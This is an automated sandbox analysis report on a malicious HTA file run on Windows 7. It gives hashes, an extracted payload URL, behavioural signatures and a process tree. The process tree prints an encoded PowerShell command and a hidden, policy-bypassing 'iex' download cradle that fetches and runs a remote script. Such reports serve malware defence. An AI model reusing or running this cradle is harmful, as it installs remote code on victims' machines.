Resubmissions
07-01-2025 03:19
250107-dt8tqs1rc1 1007-01-2025 03:10
250107-dpd4ka1pdv 1007-01-2025 03:09
250107-dnmz3stlcp 1007-01-2025 02:39
250107-c5hk9asmbl 10Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
07-01-2025 02:39
Static task
static1
Behavioral task
behavioral1
Sample
aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta
Resource
win7-20240903-en
General
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Target
aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta
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Size
1.6MB
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MD5
dbf37b54acb5e3b86a3dc93ec3b7dc24
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SHA1
65100e3e23406a9f92880e202e4b006fd39f33d6
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SHA256
aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9
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SHA512
0f785989935702715872e6621ecf9ad003f5d3d9eb8396a32fa5c0506f636a979e5c98c292885207124029c05c6dd88df33d2b91b028cdb5055ce9000dac7ae9
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SSDEEP
24576:g/ISwmcPODvnBj3SoGDw/ISwmcPODvnBjc/ISwmcPODvnBj1/ISwmcPODvnBjf:g/IMcAYoGc/IMcAu/IMcAn/IMcAN
Malware Config
Extracted
https://klipdiheqoe.shop/ruwkl.png
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 5 2920 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2920 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3040 powershell.exe 3040 powershell.exe 3040 powershell.exe 2920 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3040 powershell.exe Token: SeDebugPrivilege 2920 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2484 wrote to memory of 3040 2484 mshta.exe 30 PID 2484 wrote to memory of 3040 2484 mshta.exe 30 PID 2484 wrote to memory of 3040 2484 mshta.exe 30 PID 2484 wrote to memory of 3040 2484 mshta.exe 30 PID 3040 wrote to memory of 2920 3040 powershell.exe 32 PID 3040 wrote to memory of 2920 3040 powershell.exe 32 PID 3040 wrote to memory of 2920 3040 powershell.exe 32 PID 3040 wrote to memory of 2920 3040 powershell.exe 32
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9.hta"1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AawBsAGkAcABkAGkAaABlAHEAbwBlAC4AcwBoAG8AcAAvAHIAdQB3AGsAbAAuAHAAbgBnACcAKQApAGAAIgAiACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgA=2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://klipdiheqoe.shop/ruwkl.png'))"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2920
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD568e32bbb60e91826fc6c323652ed0186
SHA189f90c06bdddf7b09c62c3edcd8598d3b2f18382
SHA256c33ae9c3f867559e513dad41482c1a3b81603a3af7989ea2ad8997788a16139a
SHA512b596c63d0f39c5329a4d1a53d55433eb4d15153d34bb1e4f4f085d10694bfce2ee452ff4fdd0fb6de4664f2ac16a6d6f43c45a1b2754a5e828defccfa27923ad